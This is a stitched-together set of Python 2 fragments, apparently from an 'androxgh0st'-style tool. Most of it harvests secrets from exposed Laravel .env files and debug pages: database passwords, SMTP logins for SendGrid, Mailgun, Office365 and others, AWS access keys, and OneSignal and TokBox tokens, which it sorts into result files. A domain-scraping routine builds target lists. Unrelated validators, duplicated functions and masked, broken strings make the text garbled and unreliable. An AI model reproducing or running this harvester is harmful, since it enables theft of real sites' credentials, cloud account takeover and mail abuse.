"on": try: onesignal_id = reg( '<td>ONESIGNAL_APP_ID<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: onesignal_id = '' try: onesignal_token = reg( '<td>ONESIGNAL_REST_API_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: onesignal_token = '' try: onesignal_auth = reg( '<td>ONESIGNAL_USER_AUTH_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: onesignal_auth = '' print "\033[1;40m[x] {} ===> \033[1;32;40mONESIGNAL".format( str(url)) build = 'URL: ' + str(url) + '\nONESIGNAL_APP_ID: ' + str( onesignal_id) + '\nONESIGNAL_REST_API_KEY: ' + str( onesignal_token) + '\nONESIGNAL_USER_AUTH_KEY: ' + str( onesignal_auth) remover = str(build).replace('\r', '') save = open('Resultz/ONESIGNAL.txt', 'a') save.write(remover + '\n\n') save.close() elif 'ONESIGNAL_APP_ID' not in text or 'ONESIGNAL_APP_ID' in text and ONESIGNAL( ) == "off": pass else: print "\033[1;40m[x] {} ===> \033[1;31;40mFailed ONESIGNAL".format( str(url)) if '<td>TOKBOX_KEY_DEV</td>' in text and TOKBOX() == "on": try: tokbox_key = reg( '<td>TOKBOX_KEY_DEV<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: tokbox_key = '' try: tokbox_secret = reg( '<td>TOKBOX_SECRET_DEV<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: tokbox_secret = '' print "\033[1;40m[x] {} ===> \033[1;32;40mTOKBOX".format( str(url)) build = 'URL: ' + str(url) + '\nTOKBOX_KEY_DEV: ' + str( tokbox_key) + '\nTOKBOX_SECRET_DEV: ' + str(tokbox_secret) remover = str(build).replace('\r', '') save = open('Resultz/TOKBOX.txt', 'a') save.write(remover + '\n\n') save.close() elif 'TOKBOX_KEY_DEV' not in text or 'TOKBOX_KEY_DEV' in text and TOKBOX( ) == "off": pass else: print "\033[1;40m[x] {} ===> \033[1;31;40mFailed TOKBOX".format( str(url)) if '<td>TOKBOX_KEY</td>' in text: try: tokbox_key = reg( '<td>TOKBOX_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: tokbox_key = '' try: tokbox_secret = reg( '<td>TOKBOX_SECRET<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] except: tokbox_secret = '' print "\033[1;40m[x] {} ===> \033[1;32;40mTOKBOX".format( str(url)) build = 'URL: ' + str(url) + '\nTOKBOX_KEY_DEV: ' + str( tokbox_key) + '\nTOKBOX_SECRET_DEV: ' + str(tokbox_secret) remover = str(build).replace('\r', '') save = open('Resultz/TOKBOX.txt', 'a') save.write(remover + '\n\n') save.close() elif 'TOKBOX_KEY_DEV' not in text or 'TOKBOX_KEY_DEV' in text and TOKBOX( ) == "off": pass else: print "\033[1;40m[x] {} ===> \033[1;31;40mFailed TOKBOX".format( str(url)) except Exception as e: pass
def discord_server_validator(url): regex = reg(r'^(https?://)?discord\.(gg|me)/[A-Za-z0-9_%-]+$') message = 'Invalid Discord server URL.' code = 'invalid_discord_url' if not regex.match(str(url)): raise ValidationError(message, code)
try: MEMEK = raw_input('Date month Year@ ~#: ') ANJING = raw_input('Domain@ ~#: ') except IndexError: print kuning + '-----------------------------------------' print abang + '[*]' + kuning + ' Python ' + ijo + 'heker.py ' + putih + 'Name_of_defacer ' + y print(Style.RESET_ALL) sys.exit() print ijo + 'SCANNING : ' + MEMEK print ijo + 'SCANNING : ' + MEMEK for page in range(1, 9999): Agent1 = { 'User-Agent': 'Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36' } url = 'https://domain-status.com/archives/' + MEMEK + '/' + ANJING + '/registered/' + str( page) KONTOL = requests.get(url, timeout=10, headers=Agent1).content if 'www' in KONTOL: domen = reg('<a href="(.*?)">', KONTOL) for x in domen: print(str(domen) + ijo + '[!] LAGI GRAB SLUR . . .') for site in domen: kimak = site.replace( "https://domain-status.com/www/", "").replace( "https://domain-status.com/archives/", "").replace("/com/registered/", "").replace("/org/registered/", "") open('ipgoblok.txt', 'a').write('http://' + kimak + '\n')
def get_db(self, text, url): try: if "DB_HOST" in text: if "DB_HOST=" in text: method = '/.env' dbconnec = reg('\nDB_CONNECTION=(.*?)\n', text)[0] dbhost = reg('\nDB_HOST=(.*?)\n', text)[0] dbport = reg('\nDB_PORT=(.*?)\n', text)[0] dbdata = reg('\nDB_DATABASE=(.*?)\n', text)[0] dbuser = reg('\nDB_USERNAME=(.*?)\n', text)[0] dbpass = reg('\nDB_PASSWORD=(.*?)\n', text)[0] elif '<td>DB_HOST</td>' in text: method = 'debug' dbconnec = reg( '<td>DB_CONNECTION<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] dbhost = reg( '<td>DB_HOST<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] dbport = reg( '<td>DB_PORT<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] dbdata = reg( '<td>DB_DATABASE<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] dbuser = reg( '<td>DB_USERNAME<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] dbpass = reg( '<td>DB_PASSWORD<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] build = 'URL: ' + str(url) + '\nMETHOD: ' + str( method ) + '\nDB_CONNECTION: ' + str(dbconnec) + '\nDB_HOST: ' + str( dbhost) + '\nDB_PORT: ' + str( dbport) + '\nDB_DATABASE: ' + str( dbdata) + '\nDB_USERNAME: '******'\nDB_PASSWORD: '******'\r', '') save = open('Resultz/DATABASE.txt', 'a') save.write(remover + '\n\n') save.close() return True else: return False except: return False
def get_smtp1(self, text, url): try: if "MAIL_HOST" in text: if "MAIL_HOST=" in text: method = '/.env' mailhost = reg("\nMAIL_HOST=(.*?)\n", text)[0] mailport = reg("\nMAIL_PORT=(.*?)\n", text)[0] mailuser = reg("\nMAIL_USERNAME=(.*?)\n", text)[0] mailpass = reg("\nMAIL_PASSWORD=(.*?)\n", text)[0] mailfrom = reg("\nMAIL_FROM_ADDRESS=(.*?)\n", text)[0] elif "<td>MAIL_HOST</td>" in text: method = 'debug' mailhost = reg( '<td>MAIL_HOST<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] mailport = reg( '<td>MAIL_PORT<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] mailuser = reg( '<td>MAIL_USERNAME<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] mailpass = reg( '<td>MAIL_PASSWORD<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] mailfrom = reg( '<td>MAIL_FROM_ADDRESS<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] if mailuser == "null" or mailpass == "null" or mailfrom == "null" or mailuser == "" or mailpass == "" or mailfrom == "": return False else: if '.sendgrid.net' in mailhost: build = 'URL: ' + str(url) + '\nMETHOD: ' + str( method) + '\nMAILHOST: ' + str( mailhost) + '\nMAILPORT: ' + str( mailport) + '\nMAILUSER: '******'\nMAILPASS: '******'\nMAILFORM: ' + str( mailfrom) remover = str(build).replace('\r', '') save = open('Resultz/SENDGRID.txt', 'a') save.write(remover + '\n\n') save.close() if '.mailgun.org' in mailhost: build = 'URL: ' + str(url) + '\nMETHOD: ' + str( method) + '\nMAILHOST: ' + str( mailhost) + '\nMAILPORT: ' + str( mailport) + '\nMAILUSER: '******'\nMAILPASS: '******'\nMAILFORM: ' + str( mailfrom) remover = str(build).replace('\r', '') save = open('Resultz/MAILGUN.txt', 'a') save.write(remover + '\n\n') save.close() if '.gmail.com' in mailhost: build = 'URL: ' + str(url) + '\nMETHOD: ' + str( method) + '\nMAILHOST: ' + str( mailhost) + '\nMAILPORT: ' + str( mailport) + '\nMAILUSER: '******'\nMAILPASS: '******'\nMAILFORM: ' + str( mailfrom) remover = str(build).replace('\r', '') save = open('Resultz/GMAIL.txt', 'a') save.write(remover + '\n\n') save.close() if '.zoho.com' in mailhost: build = 'URL: ' + str(url) + '\nMETHOD: ' + str( method) + '\nMAILHOST: ' + str( mailhost) + '\nMAILPORT: ' + str( mailport) + '\nMAILUSER: '******'\nMAILPASS: '******'\nMAILFORM: ' + str( mailfrom) remover = str(build).replace('\r', '') save = open('Resultz/ZOHO.txt', 'a') save.write(remover + '\n\n') save.close() if '.office365.com' in mailhost: build = 'URL: ' + str(url) + '\nMETHOD: ' + str( method) + '\nMAILHOST: ' + str( mailhost) + '\nMAILPORT: ' + str( mailport) + '\nMAILUSER: '******'\nMAILPASS: '******'\nMAILFORM: ' + str( mailfrom) remover = str(build).replace('\r', '') save = open('Resultz/OFFICE.txt', 'a') save.write(remover + '\n\n') save.close() else: build = 'URL: ' + str(url) + '\nMETHOD: ' + str( method) + '\nMAILHOST: ' + str( mailhost) + '\nMAILPORT: ' + str( mailport) + '\nMAILUSER: '******'\nMAILPASS: '******'\nMAILFORM: ' + str( mailfrom) remover = str(build).replace('\r', '') save = open('Resultz/SMTP_RANDOM.txt', 'a') save.write(remover + '\n\n') save.close() return True else: return False except Exception as err: print(str(err)) return False
def get_smtp(self, text, url): try: if "MAIL_HOST" in text: if "MAIL_HOST=" in text: method = '/.env' mailhost = reg("\nMAIL_HOST=(.*?)\n", text)[0] mailport = reg("\nMAIL_PORT=(.*?)\n", text)[0] mailuser = reg("\nMAIL_USERNAME=(.*?)\n", text)[0] mailpass = reg("\nMAIL_PASSWORD=(.*?)\n", text)[0] try: mailfrom = reg("\nMAIL_FROM_ADDRESS=(.*?)\n", text)[0] except: mailfrom = '' try: fromname = reg("\MAIL_FROM_NAME=(.*?)\n", text)[0] except: fromname = '' elif "<td>MAIL_HOST</td>" in text: method = 'debug' mailhost = reg('<td>MAIL_HOST<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] mailport = reg('<td>MAIL_PORT<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] mailuser = reg('<td>MAIL_USERNAME<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] mailpass = reg('<td>MAIL_PASSWORD<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] try: mailfrom = reg("<td>MAIL_FROM_ADDRESS<\/td>\s+<td><pre.*>(.*?)<\/span>", text)[0] except: mailfrom = '' try: fromname = reg("<td>MAIL_FROM_NAME<\/td>\s+<td><pre.*>(.*?)<\/span>", text)[0] except: fromname = '' if mailuser == "null" or mailpass == "null" or mailuser == "" or mailpass == "": return False else: # mod aws if '.amazonaws.com' in mailhost: getcountry = reg('email-smtp.(.*?).amazonaws.com', mailhost)[0] build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nMAILHOST: '+str(mailhost)+'\nMAILPORT: '+str(mailport)+'\nMAILUSER: '******'\nMAILPASS: '******'\nMAILFROM: '+str(mailfrom)+'\nFROMNAME: '+str(fromname) remover = str(build).replace('\r', '') save = open('Results/'+getcountry[:-2]+'.txt', 'a') save.write(remover+'\n\n') save.close() remover = str(build).replace('\r', '') save2 = open('Results/smtp_aws.txt', 'a') save2.write(remover+'\n\n') save2.close() elif 'sendgrid' in mailhost: build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nMAILHOST: '+str(mailhost)+'\nMAILPORT: '+str(mailport)+'\nMAILUSER: '******'\nMAILPASS: '******'\nMAILFROM: '+str(mailfrom)+'\nFROMNAME: '+str(fromname) remover = str(build).replace('\r', '') save = open('Results/sendgrid.txt', 'a') save.write(remover+'\n\n') save.close() elif 'office365' in mailhost: build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nMAILHOST: '+str(mailhost)+'\nMAILPORT: '+str(mailport)+'\nMAILUSER: '******'\nMAILPASS: '******'\nMAILFROM: '+str(mailfrom)+'\nFROMNAME: '+str(fromname) remover = str(build).replace('\r', '') save = open('Results/office.txt', 'a') save.write(remover+'\n\n') save.close() elif '1and1' in mailhost or '1und1' in mailhost: build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nMAILHOST: '+str(mailhost)+'\nMAILPORT: '+str(mailport)+'\nMAILUSER: '******'\nMAILPASS: '******'\nMAILFROM: '+str(mailfrom)+'\nFROMNAME: '+str(fromname) remover = str(build).replace('\r', '') save = open('Results/1and1.txt', 'a') save.write(remover+'\n\n') save.close() elif 'zoho' in mailhost: build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nMAILHOST: '+str(mailhost)+'\nMAILPORT: '+str(mailport)+'\nMAILUSER: '******'\nMAILPASS: '******'\nMAILFROM: '+str(mailfrom)+'\nFROMNAME: '+str(fromname) remover = str(build).replace('\r', '') save = open('Results/zoho.txt', 'a') save.write(remover+'\n\n') save.close() elif 'mandrillapp' in mailhost: build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nMAILHOST: '+str(mailhost)+'\nMAILPORT: '+str(mailport)+'\nMAILUSER: '******'\nMAILPASS: '******'\nMAILFROM: '+str(mailfrom)+'\nFROMNAME: '+str(fromname) remover = str(build).replace('\r', '') save = open('Results/mandrill.txt', 'a') save.write(remover+'\n\n') save.close() elif 'mailgun' in mailhost: build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nMAILHOST: '+str(mailhost)+'\nMAILPORT: '+str(mailport)+'\nMAILUSER: '******'\nMAILPASS: '******'\nMAILFROM: '+str(mailfrom)+'\nFROMNAME: '+str(fromname) remover = str(build).replace('\r', '') save = open('Results/mailgun.txt', 'a') save.write(remover+'\n\n') save.close() else: build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nMAILHOST: '+str(mailhost)+'\nMAILPORT: '+str(mailport)+'\nMAILUSER: '******'\nMAILPASS: '******'\nMAILFROM: '+str(mailfrom)+'\nFROMNAME: '+str(fromname) remover = str(build).replace('\r', '') save = open('Results/SMTP_RANDOM.txt', 'a') save.write(remover+'\n\n') save.close() return True else: return False except: return False
def get_smtp(self, text, url): try: if "MAIL_HOST" in text: if "MAIL_HOST=" in text: method = '/.env' mailhost = reg("\nMAIL_HOST=(.*?)\n", text)[0] mailport = reg("\nMAIL_PORT=(.*?)\n", text)[0] mailuser = reg("\nMAIL_USERNAME=(.*?)\n", text)[0] mailpass = reg("\nMAIL_PASSWORD=(.*?)\n", text)[0] mailfrom = reg("\nMAIL_FROM_ADDRESS=(.*?)\n", text)[0] elif "<td>MAIL_HOST</td>" in text: method = 'debug' mailhost = reg( '<td>MAIL_HOST<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] mailport = reg( '<td>MAIL_PORT<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] mailuser = reg( '<td>MAIL_USERNAME<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] mailpass = reg( '<td>MAIL_PASSWORD<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] mailfrom = reg( '<td>MAIL_FROM_ADDRESS<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] if mailuser == "null" or mailpass == "null" or mailfrom == "null" or mailuser == "" or mailpass == "" or mailfrom == "": return False else: # mod aws if '.amazonaws.com' in mailhost: getcountry = reg('email-smtp.(.*?).amazonaws.com', mailhost)[0] build = 'URL: ' + str(url) + '\nMETHOD: ' + str( method) + '\nMAILHOST: ' + str( mailhost) + '\nMAILPORT: ' + str( mailport) + '\nMAILUSER: '******'\nMAILPASS: '******'\nMAILFROM: ' + str( mailfrom) remover = str(build).replace('\r', '') save = open('Results/' + getcountry[:-2] + '.txt', 'a') save.write(remover + '\n\n') save.close() else: build = 'URL: ' + str(url) + '\nMETHOD: ' + str( method) + '\nMAILHOST: ' + str( mailhost) + '\nMAILPORT: ' + str( mailport) + '\nMAILUSER: '******'\nMAILPASS: '******'\r', '') save = open('Results/SMTP_RANDOM.txt', 'a') save.write(remover + '\n\n') save.close() return True else: return False except Exception as err: print(str(err)) return False
def get_aws_data(self, text, url): try: if "AWS_ACCESS_KEY_ID" in text: if "AWS_ACCESS_KEY_ID=" in text: method = '/.env' try: aws_key = reg("\nAWS_ACCESS_KEY_ID=(.*?)\n", text)[0] except: aws_key = '' try: aws_sec = reg("\nAWS_SECRET_ACCESS_KEY=(.*?)\n", text)[0] except: aws_sec = '' try: asu = androxgh0st().get_aws_region(text) if asu: aws_reg = asu else: aws_reg = '' except: aws_reg = '' elif "<td>AWS_ACCESS_KEY_ID</td>" in text: method = 'debug' try: aws_key = reg("<td>AWS_ACCESS_KEY_ID<\/td>\s+<td><pre.*>(.*?)<\/span>", text)[0] except: aws_key = '' try: aws_sec = reg("<td>AWS_SECRET_ACCESS_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>", text)[0] except: aws_sec = '' try: asu = androxgh0st().get_aws_region(text) if asu: aws_reg = asu else: aws_reg = '' except: aws_reg = '' if aws_reg == "": aws_reg = "aws_unknown_region--" if aws_key == "" and aws_sec == "": return False else: build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nAWS ACCESS KEY: '+str(aws_key)+'\nAWS SECRET KEY: '+str(aws_sec)+'\nAWS REGION: '+str(aws_reg)+'\nAWS BUCKET: ' remover = str(build).replace('\r', '') save = open('Results/'+str(aws_reg)[:-2]+'.txt', 'a') save.write(remover+'\n\n') save.close() remover = str(build).replace('\r', '') save2 = open('Results/aws_access_key_secret.txt', 'a') save2.write(remover+'\n\n') save2.close() return True elif "AWS_KEY" in text: if "AWS_KEY=" in text: method = '/.env' try: aws_key = reg("\nAWS_KEY=(.*?)\n", text)[0] except: aws_key = '' try: aws_sec = reg("\nAWS_SECRET=(.*?)\n", text)[0] except: aws_sec = '' try: asu = androxgh0st().get_aws_region(text) if asu: aws_reg = asu else: aws_reg = '' except: aws_reg = '' try: aws_buc = reg("\nAWS_BUCKET=(.*?)\n", text)[0] except: aws_buc = '' elif "<td>AWS_KEY</td>" in text: method = 'debug' try: aws_key = reg("<td>AWS_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>", text)[0] except: aws_key = '' try: aws_sec = reg("<td>AWS_SECRET<\/td>\s+<td><pre.*>(.*?)<\/span>", text)[0] except: aws_sec = '' try: asu = androxgh0st().get_aws_region(text) if asu: aws_reg = asu else: aws_reg = '' except: aws_reg = '' try: aws_buc = reg("<td>AWS_BUCKET<\/td>\s+<td><pre.*>(.*?)<\/span>", text)[0] except: aws_buc = '' if aws_reg == "": aws_reg = "aws_unknown_region--" if aws_key == "" and aws_sec == "": return False else: build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nAWS ACCESS KEY: '+str(aws_key)+'\nAWS SECRET KEY: '+str(aws_sec)+'\nAWS REGION: '+str(aws_reg)+'\nAWS BUCKET: '+str(aws_buc) remover = str(build).replace('\r', '') save = open('Results/'+str(aws_reg)[:-2]+'.txt', 'a') save.write(remover+'\n\n') save.close() remover = str(build).replace('\r', '') save2 = open('Results/aws_access_key_secret.txt', 'a') save2.write(remover+'\n\n') save2.close() return True elif "SES_KEY" in text: if "SES_KEY=" in text: method = '/.env' try: aws_key = reg("\nSES_KEY=(.*?)\n", text)[0] except: aws_key = '' try: aws_sec = reg("\nSES_SECRET=(.*?)\n", text)[0] except: aws_sec = '' try: asu = androxgh0st().get_aws_region(text) if asu: aws_reg = asu else: aws_reg = '' except: aws_reg = '' elif "<td>SES_KEY</td>" in text: method = 'debug' try: aws_key = reg("<td>SES_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>", text)[0] except: aws_key = '' try: aws_sec = reg("<td>SES_SECRET<\/td>\s+<td><pre.*>(.*?)<\/span>", text)[0] except: aws_sec = '' try: asu = androxgh0st().get_aws_region(text) if asu: aws_reg = asu else: aws_reg = '' except: aws_reg = '' if aws_reg == "": aws_reg = "aws_unknown_region--" if aws_key == "" and aws_sec == "": return False else: build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nAWS ACCESS KEY: '+str(aws_key)+'\nAWS SECRET KEY: '+str(aws_sec)+'\nAWS REGION: '+str(aws_reg)+'\nAWS BUCKET: ' remover = str(build).replace('\r', '') save = open('Results/'+str(aws_reg)[:-2]+'.txt', 'a') save.write(remover+'\n\n') save.close() remover = str(build).replace('\r', '') save2 = open('Results/aws_access_key_secret.txt', 'a') save2.write(remover+'\n\n') save2.close() return True else: return False except: return False
def __init__(self, **kwargs): self.regex = reg(kwargs['regex']) self.message = kwargs['message'] or 'Invalid username.' self.code = kwargs['code'] or 'invalid_username' super(UsernameValidator, self).__init__(**kwargs)